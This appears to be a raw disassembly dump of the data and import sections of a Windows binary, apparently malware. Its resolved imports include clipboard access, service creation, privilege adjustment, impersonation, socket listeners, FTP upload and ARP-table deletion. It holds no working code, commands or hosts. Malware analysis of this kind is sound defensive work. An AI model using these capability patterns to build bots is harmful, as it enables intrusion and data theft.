sub_40BB43+AEBr dword_4542F8 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_40BB43+32Cr ... dword_4542FC dd 0 ; resolved to->WS2_32.select ; sub_402190+120r ... dword_454300 dd 0 ; resolved to->USER32.GetClipboardData ; sub_40BB43+1E4r dword_454304 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_40BB43+422r ... dword_454308 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_45430C dd 0 ; sub_40BB43+C41r ... dword_454310 dd 0 ; resolved to->WS2_32.ntohl ; sub_402F12+7r ... dword_454314 dd 0 ; resolved to->WS2_32.ntohs ; sub_4016B4+70r ... dword_454318 dd 0 ; resolved to->KERNEL32.Process32First ; sub_40BB43+CCr dword_45431C dd 0 ; resolved to->USER32.FindWindowA ; sub_40BB43+1C4r ... dword_454320 dd 0 dword_454324 dd 0 ; resolved to->WS2_32.gethostname ; sub_40BB43+7B7r ... dword_454328 dd 0 ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerA ; sub_40BB43+48Fr ... dword_45432C dd 0 ; resolved to->ADVAPI32.UnlockServiceDatabase ; sub_40BB43+487r ... dword_454330 dd 0 ; resolved to->WSOCK32.recv ; sub_401160+19Cr ... dword_454334 dd 0 ; sub_416C0B+65r dword_454338 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40BB43+C4r dword_45433C dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_40BB43+2B2r ... dword_454340 dd 0 ; resolved to->WS2_32.listen ; sub_40BB43+64Fw ... dword_454344 dd 0 ; resolved to->WS2_32.bind ; sub_40BB43+635w ... dword_454348 dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_40CDE2+122r ... dword_45434C dd 0 ; resolved to->WS2_32.inet_addr ; sub_40178D+2Cr ... dword_454350 dd 0 ; resolved to->WS2_32.send ; sub_401160+17Fr ... dword_454354 dd 0 ; resolved to->KERNEL32.GetComputerNameA ; sub_4108C7+25r ... dword_454358 dd 0 ; resolved to->USER32.CloseClipboard ; sub_40BB43+1ECr dword_45435C dd 0 ; sub_40BB43+A10r dword_454360 dd 0 ; resolved to->USER32.SendMessageA ; sub_40BB43+1BCr ... dword_454364 dd 0 ; sub_418436+E1r dword_454368 dd 0 ; resolved to->IPHLPAPI.GetUdpTabledword_45436C dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_40BB43+ECr dword_454370 dd 0 ; resolved to->WS2_32.sendto ; sub_40BB43+76Fr ... dword_454374 dd 0 ; sub_40BB43+B76r ... dword_454378 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_418614+80r ... dword_45437C dd 0 ; resolved to->ADVAPI32.CreateServiceA ; sub_412EB7+BEr ... dword_454380 dd 0 ; resolved to->WININET.FtpPutFileAdword_454384 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_40BB43+29Dr ... dword_454388 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_45438C dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40BB43+AD7r ... dword_454390 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_40BB43+ACAr ... dword_454394 dd 0 ; resolved to->WS2_32.socket ; sub_4016B4+54r ... dword_454398 dd 0 ; resolved to->WS2_32.gethostbyname ; sub_40BB43+7BFr ... dword_45439C dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_4016B4+14r ... dword_4543A0 dd 0 ; sub_40BB43+9E8r ... dword_4543A4 dd 0 ; resolved to->WS2_32.accept ; sub_40BB43+65Cw ... dword_4543A8 dd 0 ; resolved to->WS2_32.shutdown ; sub_41012A+22r dword_4543AC dd 0 ; resolved to->WS2_32.closesocket ; sub_4016B4+C3r ... dword_4543B0 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_402190+95r ... dword_4543B4 dd 0 ; sub_40BB43+B6Er dword_4543B8 dd 0 ; resolved to->WS2_32.WSASocketA ; sub_40BB43+6CFr dword_4543BC dd 0 ; sub_40BB43+B61r ... dword_4543C0 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_40BB43+B7r ... dword_4543C4 dd 0 ; resolved to->USER32.DestroyWindow ; sub_40BB43+1D4r dword_4543C8 dd 0 ; resolved to->ADVAPI32.ImpersonateLoggedOnUser ; sub_40BB43+467r ... dword_4543CC dd 0 ; resolved to->ADVAPI32.ChangeServiceConfig2A ; sub_40BB43+47Fr ... dword_4543D0 dd 0 ; resolved to->ADVAPI32.StartServiceCtrlDispatcherA ; sub_4120E9+15Fr dword_4543D4 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_40BB43+F4r ... dword_4543D8 dd 0 dword_4543DC dd 0 dword_4543E0 dd 0 dword_4543E4 dd 0 dword_4543E8 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_40BB43:loc_40BE29w ... align 10h dword_4543F0 dd 0 dword_4543F4 dd 0 dword_4543F8 dd 0 dword_4543FC dd 0 ; sub_40BB43+918w ... dword_454400 dd 0 dword_454404 dd 0 dword_454408 dd 0 dword_45440C dd 0 dword_454410 dd 0 dword_454414 dd 0 ; sub_40BB43:loc_40C65Ew ... dd 0 dword_45441C dd 0 dword_454420 dd 0 dword_454424 dd 0 dword_454428 dd 0 dword_45442C dd 0 dword_454430 dd 0 ; sub_40BB43+C63w dword_454434 dd 0 dword_454438 dd 0 ; sub_415DBD:loc_415E3Dr dword_45443C dd 0 dword_454440 dd 0 dword_454444 dd 0 dword_454448 dd 0 dword_45444C dd 0 dword_454450 dd 0 ; sub_40FA20+94r ... align 8 dword_454458 dd 4 dup(0) dword_454468 dd 4 dup(0) byte_454478 db 0 ; DATA XREF: sub_410930+Bo ; sub_410930+5Aw align 4 dd 3 dup(0) dword_454488 dd 4 dup(0) dword_454498 dd 4 dup(0) dword_4544A8 dd 0 byte_4544AC db 0 ; DATA XREF: sub_4108C7+Ao ; sub_4108C7+2Br align 10h dd 3 dup(0) dword_4544BC dd 4 dup(0) byte_4544CC db 0 ; DATA XREF: sub_410882+5o ; sub_410882+2Cw ... align 10h dd 3 dup(0) byte_4544DC db 0 ; DATA XREF: sub_41099D+10o ; sub_41099D+107w align 10h dd 3 dup(0) dword_4544EC dd 4 dup(0) dword_4544FC dd 4 dup(0) dword_45450C dd 0 ; sub_40FFB4+B3w ... dword_454510 dd 0 ; sub_40FCF7+35r ... align 10h dword_454520 dd 0 ; sub_40FDC0+1o ... align 10h dword_454530 dd 0 ; sub_40FE00+35r dd 86h dup(0) db 0 byte_45474D db 3 dup(0) ; DATA XREF: sub_40FCF7+13o ; sub_40FD55+4Eo ... dword_454750 dd 0 ; sub_412069+Ao ... dd 2 dup(0) db 0 byte_45475D db 3 dup(0) ; DATA XREF: sub_40FDC0+36o dd 2 dup(0) dword_454768 dd 0 ; sub_412069+60r dd 1A5h dup(0) dword_454E00 dd 134h dup(0) dword_4552D0 dd 4 dup(0) ; sub_4016B4+Co ... dword_4552E0 dd 0 align 8 dword_4552E8 dd 28h dup(0) ; sub_418F30:loc_419079o dword_455388 dd 4 dup(0) ; sub_4016B4+2Ao ... dword_455398 dd 0 dword_45539C dd 0 ; sub_412267+492w ... dword_4553A0 dd 0 align 8 dword_4553A8 dd 42h dup(0) ; sub_41B69D+60o dword_4554B0 dd 10h dup(0) ; .text:loc_41205Fo ... dword_4554F0 dd 0 align 8 dword_4554F8 dd 40h dup(0) dword_4555F8 dd 0 dword_4555FC dd 0 ; sub_41F455+C0r dword_455600 dd 0 ; sub_403B2C:loc_405497r align 8 byte_455608 db 0 ; DATA XREF: sub_41A0E6+56o ; sub_41D499+1F7o byte_455609 db 3 dup(0) ; DATA XREF: sub_41A15F+23o ; sub_41D499+20Fo dword_45560C dd 0 ; sub_4128D4+2E5o dword_455610 dd 123h dup(0) ; sub_41391C+3B4o ... dword_455A9C dd 0 ; sub_41391C+49Ao dd 4 dup(0) dword_455AB0 dd 0 ; sub_416F48+12Dr ... align 8 byte_455AB8 db 0 ; DATA XREF: sub_416B4C+66o ; sub_4170D5+28o ... align 4 dd 0FFh dup(0) dword_455EB8 dd 0 ; sub_4143AB+58r ... dword_455EBC dd 0 ; sub_4176B1+28r dword_455EC0 dd 0 ; sub_4143AB+3Br ... dword_455EC4 dd 0 ; sub_4174BE+1Fr ... dword_455EC8 dd 0 ; sub_416F48+15Ar ... dword_455ECC dd 0 ; sub_4156F3+9o dword_455ED0 dd 0 ; sub_416F48+152r ... dword_455ED4 dd 0 ; sub_414508+8Do dword_455ED8 dd 0 ; sub_414508+121w dword_455EDC dd 0 ; sub_4143AB+F3r ... dd 4 dup(0) dword_455EF0 dd 0Dh dup(0) ; sub_414508:loc_414647o dword_455F24 dd 0 ; sub_416F48+13Ar ... dword_455F28 dd 0 ; sub_416F48+14Ar ... dword_455F2C dd 0 ; sub_416F48+142r ... byte_455F30 db 0 ; DATA XREF: sub_417583+21o ; sub_417583+45r align 4 dd 0A01h dup(0) dword_458738 dd 0 ; sub_415EA7+11Bo ... dd 18h dup(0) byte_45879C db 0 ; DATA XREF: sub_415EA7+1D5w ; sub_415EA7+30Ew ... align 10h dd 18h dup(0) dword_458800 dd 0 ; sub_415EA7+270o ... dd 0E73h dup(0) dword_45C1D0 dd 0 ; sub_415EA7+131r ... dword_45C1D4 dd 0 ; sub_4170D5+1Cw ... dword_45C1D8 dd 0 ; sub_416F48+71w ... dword_45C1DC dd 0 ; sub_416F48+40w ... dword_45C1E0 dd 0 dword_45C1E4 dd 0 ; sub_417583+5r ... dword_45C1E8 dd 0 dword_45C1EC dd 0 ; sub_417583+Dr dword_45C1F0 dd 4Eh dup(0) ; sub_417989+4Co dword_45C328 dd 20h dup(0) dword_45C3A8 dd 0 ; sub_417A90:loc_417B2Er dword_45C3AC dd 0Dh dup(0) dword_45C3E0 dd 0 ; sub_41A829+5Ew ... dd 4000h dup(0) dword_46C3E4 dd 0 ; sub_41B424+63r ... dword_46C3E8 dd 0 ; sub_41B387+50w dword_46C3EC dd 0 ; sub_41B387+8w ... dword_46C3F0 dd 0 ; sub_41B387+1Cw ... dword_46C3F4 dd 0 dword_46C3F8 dd 0 dword_46C3FC dd 0 dword_46C400 dd 0 ; sub_41B387+5Bw dword_46C404 dd 0 ; sub_41B387+61w dword_46C408 dd 0 ; sub_41BED7+27o ... dd 3FFh dup(0) dword_46D408 dd 0 ; sub_41BED7+75w ... dword_46D40C dd 0 ; sub_401906+47r ... dword_46D410 dd 0 ; sub_414508+16Bw ... dword_46D414 dd 0 ; sub_40178D+FCw ... dword_46D418 dd 0 ; sub_41C059+24w dword_46D41C dd 0 ; sub_41C059+2Aw dd 0B0Bh dup(0) db 3 dup(0) byte_47004F db 0 ; DATA XREF: .text:00447374o dd 7FFFh dup(0) db 0 byte_49004D db 3 dup(0) ; DATA XREF: .text:004473D0o ; .text:00447584o dword_490050 dd 0C001h dup(0)dword_4C0054 dd 563Fh dup(0) db 3 dup(0) byte_4D5953 db 0 ; DATA XREF: .text:off_441A58o dd 29BDh dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: .text:004473E0o ; .text:00447574o db 3 dup(0) byte_4E004F db 0 ; DATA XREF: .text:00447378o dd 103Fh dup(0) dword_4E414C dd 202h dup(0) db 3 dup(0) byte_4E4957 db 0 ; DATA XREF: .text:off_4388B8o dd 27Ah dup(0) db 0 byte_4E5341 db 3 dup(0) ; DATA XREF: .text:off_441A2Co dd 6B2Eh dup(0) db 3 dup(0) byte_4FFFFF db 0 ; DATA XREF: sub_417A90+1B5o dd 12h dup(0) db 0 byte_500049 db 3 dup(0) ; DATA XREF: .text:off_4473C0o ; .text:off_447590o dword_50004C dd 1102h dup(0) db 0 byte_504455 db 3 dup(0) ; DATA XREF: .text:off_434CCCo dd 6EFAh dup(0) db 2 dup(0) word_520042 dw 0 ; DATA XREF: .text:off_4473A0o align 10h dword_520050 dd 0 ; .text:off_447570o dword_520054 dd 4933h dup(0) dword_532520 dd 47CCh dup(0) dword_544450 dd 3C0h dup(0) dword_545350 dd 3C3Dh dup(0) db 0 byte_554445 db 3 dup(0) ; DATA XREF: .text:0043D1CCo dd 1C0h dup(0) dword_554B48 dd 6D41h dup(0) db 3 dup(0) byte_57004F db 0 ; DATA XREF: .text:004473A4o dd 3FFDh dup(0) db 2 dup(0) word_580046 dw 0 ; DATA XREF: .text:off_436A28o ; .text:00436A30o ... dd 53BEh dup(0) db 2 dup(0) word_594F42 dw 0 ; DATA XREF: .text:off_4337A8o dd 0AC38h dup(0) dword_5C0024 dd 7 dup(0) db 3 dup(0) byte_5C0043 db 0 ; DATA XREF: .text:004473C4o dd 2 dup(0) db 2 dup(0) word_5C004E dw 0 ; DATA XREF: .text:004473D4o db 2 dup(0) word_5C0052 dw 0 ; DATA XREF: .text:004473ACo ; .text:004473E8o dd 0E7Bh dup(0) db 0 byte_5C3A41 db 3 dup(0) ; DATA XREF: .text:off_43E640o dd 0CCFEh dup(0) db 3 dup(0) byte_5F6E3F db 0 ; DATA XREF: .text:off_43B54Bo dd 387h dup(0) db 3 dup(0) byte_5F7C5F db 0 ; DATA XREF: .text:off_4337D8o dd 6128h dup(0) dword_610100 dd 1818h dup(0) db 0 byte_616161 db 3 dup(0) ; DATA XREF: .text:off_43D50Co dd 72h dup(0) db 2 dup(0) word_61632E dw 0 ; DATA XREF: .text:off_442590o dd 14Ch dup(0) db 0 byte_616861 db 3 dup(0) ; DATA XREF: .text:off_43378Co dd 132h dup(0) db 2 dup(0) word_616D2E dw 0 ; DATA XREF: .text:off_44240Co dd 17Fh dup(0) db 2 dup(0) word_61732E dw 0 ; DATA XREF: .text:off_442378o dd 7Fh dup(0) db 2 dup(0) word_61752E dw 0 ; DATA XREF: .text:off_4422DCo dd 13Fh dup(0) db 2 dup(0) word_617A2E dw 0 ; DATA XREF: .text:off_4422CCo dd 2C50h dup(0) db 2 dup(0) word_622B72 dw 0 ; DATA XREF: .text:off_448FE4o dd 38B1h dup(0) dword_630E38 dd 0Eh dup(0) ; sub_41BFDA+24o ... dword_630E70 dd 100h dup(0) dword_631270 dd 0 ; sub_41FB50:loc_41FCAFw dd 11h dup(0) dword_6312B8 dd 0 ; sub_420BEE+449w ... align 10h byte_6312C0 db 0 ; DATA XREF: .text:00420A58o ; .text:00420ACAr ... align 4 dd 3Fh dup(0) dword_6313C0 dd 3 dup(0) dword_6313CC dd 0 dword_6313D0 dd 0 ; sub_4241D4+A4w align 8 word_6313D8 dw 0 ; DATA XREF: sub_4241D4+55r ; sub_4241D4+9Ao word_6313DA dw 0 ; DATA XREF: sub_4241D4+48r db 2 dup(0) word_6313DE dw 0 ; DATA XREF: sub_4241D4+3Br word_6313E0 dw 0 ; DATA XREF: sub_4241D4+2Er word_6313E2 dw 0 ; DATA XREF: sub_4241D4+21r align 8 dword_6313E8 dd 0 ; sub_42A86B:loc_42A894w ... dword_6313EC dd 0 ; sub_42B22D:loc_42B23Fr ... dd 0 dword_6313F4 dd 0 dword_6313F8 dd 0 ; sub_423F63+104r ... dword_6313FC dd 0 dword_631400 dd 0 ; sub_427FF3+2Dw ... align 8 dword_631408 dd 6 dup(0) dword_631420 dd 6 dup(0) dword_631438 dd 6 dup(0) dword_631450 dd 6 dup(0) dword_631468 dd 0 byte_63146C db 0 ; DATA XREF: .text:00424F15w byte_63146D db 0 ; DATA XREF: sub_423517:loc_42358Dr align 10h dword_631470 dd 0 dword_631474 dd 0 dword_631478 dd 0 dword_63147C dd 0 dword_631480 dd 0 align 8 dword_631488 dd 0 ; sub_4291A8+27r ... dword_63148C dd 0 dword_631490 dd 0 ; sub_42CEF8+4r ... align 8 dword_631498 dd 0 align 10h byte_6314A0 db 0 ; DATA XREF: sub_424828+5r ; sub_4284FB+32w align 4 dword_6314A4 dd 0 dword_6314A8 dd 0 ; sub_4284FB+97w dword_6314AC dd 0 ; sub_429B43+38r ... dword_6314B0 dd 0 ; sub_429BA7+4Cw ... align 10h dword_6314C0 dd 2 dup(0) ; .text:0042E7C7o dword_6314C8 dd 0 ; sub_4240A0:loc_42410Dr ... dd 3 dup(0) dword_6314D8 dd 0 ; sub_424DC3+C0r ... align 10h dword_6314E0 dd 0 align 8 dword_6314E8 dd 0 ; sub_42AB0B+4w ... dword_6314EC dd 41h dup(0) dword_6315F0 dd 0 ; sub_42B533+23w ... dword_6315F4 dd 0 dword_6315F8 dd 0 ; sub_42BADD:loc_42BB47w dword_6315FC dd 0 dd 1Ah dup(0) dword_631668 dd 0 ; sub_42D078+7Aw ... align 10h dword_631670 dd 0 ; sub_42D078+5Dr dword_631674 dd 10h dup(0) word_6316B4 dw 0 ; DATA XREF: sub_42D320+A8r word_6316B6 dw 0 ; DATA XREF: sub_42D078+6Br ; sub_42D320+DBr ... word_6316B8 dw 0 ; DATA XREF: sub_42D320+CAr word_6316BA dw 0 ; DATA XREF: sub_42D320+D3r ; sub_42D320:loc_42D412r word_6316BC dw 0 ; DATA XREF: sub_42D320+C0r word_6316BE dw 0 ; DATA XREF: sub_42D320+B8r word_6316C0 dw 0 ; DATA XREF: sub_42D320+B0r word_6316C2 dw 0 ; DATA XREF: sub_42D320+9Er dword_6316C4 dd 0 dword_6316C8 dd 10h dup(0) word_631708 dw 0 ; DATA XREF: sub_42D320+46r word_63170A dw 0 ; DATA XREF: sub_42D078:loc_42D106r ; sub_42D320+78r ... word_63170C dw 0 ; DATA XREF: sub_42D320+67r word_63170E dw 0 ; DATA XREF: sub_42D320+70r ; sub_42D320:loc_42D3A4r word_631710 dw 0 ; DATA XREF: sub_42D320+5Dr word_631712 dw 0 ; DATA XREF: sub_42D320+55r word_631714 dw 0 ; DATA XREF: sub_42D320+4Dr word_631716 dw 0 ; DATA XREF: sub_42D320+3Er dword_631718 dd 0 dword_63171C dd 0 ; sub_42D078:loc_42D1D9r ... dword_631720 dd 0 ; sub_42D04A+10r ... dword_631724 dd 0 ; resolved to->USER32.MessageBoxA ; sub_42D64E+2Ew ... dword_631728 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_42D64E:loc_42D69Dr dword_63172C dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_42D64E+60r dword_631730 dd 0 dword_631734 dd 0 ; sub_42D7FC+81o dword_631738 dd 0 ; sub_42D7FC+4Ao dword_63173C dd 0 ; sub_42D7FC+3Do dword_631740 dd 0 ; sub_42D7FC+57o align 8 dword_631748 dd 0 ; sub_42E2C0+48w ... dd 2 dup(0) dword_631754 dd 4 dup(0) ; .text:0044C1F8o ... byte_631764 db 0 ; DATA XREF: .text:loc_40321Er ; .text:00403227w ... byte_631765 db 0 ; DATA XREF: sub_421D6B+6Fr ; sub_421D6B+78w align 4 dword_631768 dd 0 ; sub_42A95E+79w ... align 10h dword_631770 dd 3 dup(0) ; sub_42A95E+179o ... dword_63177C dd 0 ; sub_42A95E+168w ... byte_631780 db 0 ; DATA XREF: sub_42ABB1:loc_42ACBDw ; sub_42ABB1:loc_42ACDAw ... align 4 dd 3Fh dup(0) byte_631880 db 0 ; DATA XREF: sub_42A95E+6Eo ; sub_42A95E+BEo ... byte_631881 db 0 ; DATA XREF: sub_4245FD+5Dr ; sub_42A95E+ABw ... align 4 dd 40h dup(0) dword_631984 dd 0 ; sub_42A95E+137w ... dword_631988 dd 0 ; sub_424380+5Ar ... dword_63198C dd 0 ; sub_424380:loc_4243D3w ... dword_631990 dd 0 ; sub_42B22D+ADw dword_631994 dd 0 ; sub_42AD36+11w ... dword_631998 dd 0 ; sub_42319C:loc_4231E5r ... dword_63199C dd 0 ; sub_42319C+11r ... dword_6319A0 dd 0 ; sub_42789E+5r ... dword_6319A4 dd 0 ; sub_42726C+25Ar ... dword_6319A8 dd 0 ; sub_42726C+311w ... dword_6319AC dd 0 ; sub_42726C+22Dr ... dword_6319B0 dd 0 ; sub_427241r ... dword_6319B4 dd 0 ; sub_427241+8r ... dword_6319B8 dd 0 ; sub_423F63+64r ... dword_6319BC dd 0 ; sub_4230B3+CEr ... dword_6319C0 dd 0 ; sub_4230B3+2Er ... dd 7 dup(0) dword_6319E0 dd 0 ; sub_424780+81r ... dword_6319E4 dd 3Fh dup(0) dword_631AE0 dd 0 ; sub_426902+5r ... dword_631AE4 dd 0 ; sub_42B1D5+Fr ... dword_631AE8 dd 0 ; sub_424780+41w ... dd 5 dup(0) dword_631B00 dd 0CEh dup(0) ; .text:00449438o dword_631E38 dd 0 ; sub_41C254+19o dword_631E3C dd 331h dup(0) dword_632B00 dd 0 ; sub_424780:loc_42479Aw ... dd 1C7h dup(0) db 3 dup(0) byte_633223 db 0 ; DATA XREF: .text:off_43EC8Co align 1000h _text ends ; Section 3. (virtual address 00236000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00236000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 636000h dd 4Bh dup(0) db 2 dup(0) word_63612E dw 0 ; DATA XREF: .text:off_4425E8o dd 34h dup(0) dd 18h dup(?) db ? byte_636261 db 3 dup(?) ; DATA XREF: .text:off_43D30Co dd 32h dup(?) db 2 dup(?) word_63632E dw ? ; DATA XREF: .text:off_44258Co dd 0Fh dup(?) db ? byte_63636D db 3 dup(?) ; DATA XREF: .text:off_4337F8o dd 75h dup(?) dword_636544 dd 3 dup(?) db 3 dup(?) byte_636553 db ? ; DATA XREF: .text:off_434A64o dd 248h dup(?) db 2 dup(?) word_636E76 dw ? ; DATA XREF: .text:off_43CF04o align 200h _idata2 ends end start